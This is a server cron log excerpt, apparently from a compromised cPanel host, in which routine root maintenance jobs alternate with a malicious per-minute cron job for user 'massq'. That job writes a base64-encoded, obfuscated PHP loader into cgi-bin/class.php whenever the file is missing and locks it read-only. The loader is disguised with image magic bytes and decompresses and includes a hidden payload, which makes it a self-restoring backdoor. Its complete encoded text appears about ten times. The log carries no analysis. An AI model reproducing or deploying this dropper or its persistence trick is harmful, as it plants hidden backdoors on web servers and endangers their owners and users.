Sep  9 10:14:01 server CROND[15322]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:14:01 server CROND[15323]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:15:01 server CROND[15714]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 10:15:01 server CROND[15716]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  9 10:15:01 server CROND[15717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:15:01 server CROND[15721]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 10:15:01 server CROND[15722]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 10:15:01 server CROND[15724]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 10:15:01 server CROND[15719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:15:01 server CROND[15720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:15:01 server CROND[15723]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 10:16:01 server CROND[16731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:16:01 server CROND[16732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:16:01 server CROND[16733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:17:01 server CROND[17114]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:17:01 server CROND[17115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:17:01 server CROND[17116]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:18:01 server CROND[17486]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:18:01 server CROND[17485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:18:01 server CROND[17487]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:19:01 server CROND[17896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:19:01 server CROND[17897]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:19:01 server CROND[17899]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:20:01 server CROND[18285]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 10:20:01 server CROND[18286]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 10:20:01 server CROND[18287]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 10:20:01 server CROND[18292]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 10:20:01 server CROND[18297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:20:01 server CROND[18298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:20:01 server CROND[18299]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 10:20:01 server CROND[18302]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:20:01 server CROND[18301]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 10:21:01 server CROND[19210]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:21:01 server CROND[19211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:21:01 server CROND[19212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:22:01 server CROND[19589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:22:01 server CROND[19590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:22:01 server CROND[19591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:23:01 server CROND[20412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:23:01 server CROND[20413]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:23:01 server CROND[20414]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:24:01 server CROND[20893]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:24:01 server CROND[20894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:24:01 server CROND[20896]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:25:01 server CROND[21268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:25:01 server CROND[21270]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:25:01 server CROND[21271]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 10:25:01 server CROND[21272]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 10:25:01 server CROND[21276]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  9 10:25:01 server CROND[21273]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:25:01 server CROND[21274]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
